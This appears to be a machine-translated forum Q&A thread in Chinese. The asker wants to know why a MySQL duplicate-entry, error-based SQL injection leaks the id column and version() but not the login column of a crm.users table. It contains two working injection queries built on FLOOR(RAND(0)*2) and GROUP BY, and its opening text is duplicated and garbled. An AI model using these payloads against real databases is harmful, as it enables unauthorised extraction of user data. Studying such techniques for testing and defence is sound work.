基于错误的SQL注入不会';我不能在MySQL数据库上工作
我尝试执行基于重复条目的SQL注入。描述得很好。但在我的例子中,它只适用于几个栏目,而不是所有栏目。例如,它适用于基于错误的SQL注入不会';我不能在MySQL数据库上工作,mysql,sql-injection,Mysql,Sql Injection,我尝试执行基于重复条目的SQL注入。描述得很好。但在我的例子中,它只适用于几个栏目,而不是所有栏目。例如,它适用于id列,不适用于users表的login列。我还可以使用这种方法提取诸如version()之类的信息。但为什么这对任何列都不起作用呢 示例: 这将按假设工作并抛出重复条目错误: SELECT COUNT(*), CONCAT((SELECT CONCAT(users.id) FROM crm.users LIMIT 1), 0x20, FL
id
列,不适用于users
表的login
列。我还可以使用这种方法提取诸如version()
之类的信息。但为什么这对任何列都不起作用呢
示例:
这将按假设工作并抛出重复条目错误:
SELECT COUNT(*),
CONCAT((SELECT CONCAT(users.id)
FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
但这不起作用:
SELECT COUNT(*),
CONCAT((SELECT CONCAT(users.login)
FROM crm.users LIMIT 1), 0x20, FLOOR(RAND(0)*2)) x
FROM information_schema.tables GROUP BY x
唯一的区别是列名。但第二个示例返回如下表,而不是错误:
COUNT(*) x
157 admin 0
128 admin 1
第二种情况下没有错误。原因是什么?是否有登录字段为空的用户?@Shadow,不,我没有。然后执行两个查询,不带计数和分组依据,查看每个查询返回的内容。答案可能在那些结果集中。@Shadow,在“登录”的情况下,我可以看到许多交替的行,分别是
admin 0
和admin 1
。在“version()”的情况下,我可以看到许多交替行5.5.50 0
和5.5.50 1
。在id
情况下,我可以看到许多交替行312030
和312031
。似乎id
case会导致十六进制(或其他)转换,因为id
的实际值为1。但我还是找不到真正的答案,或者我就是不明白。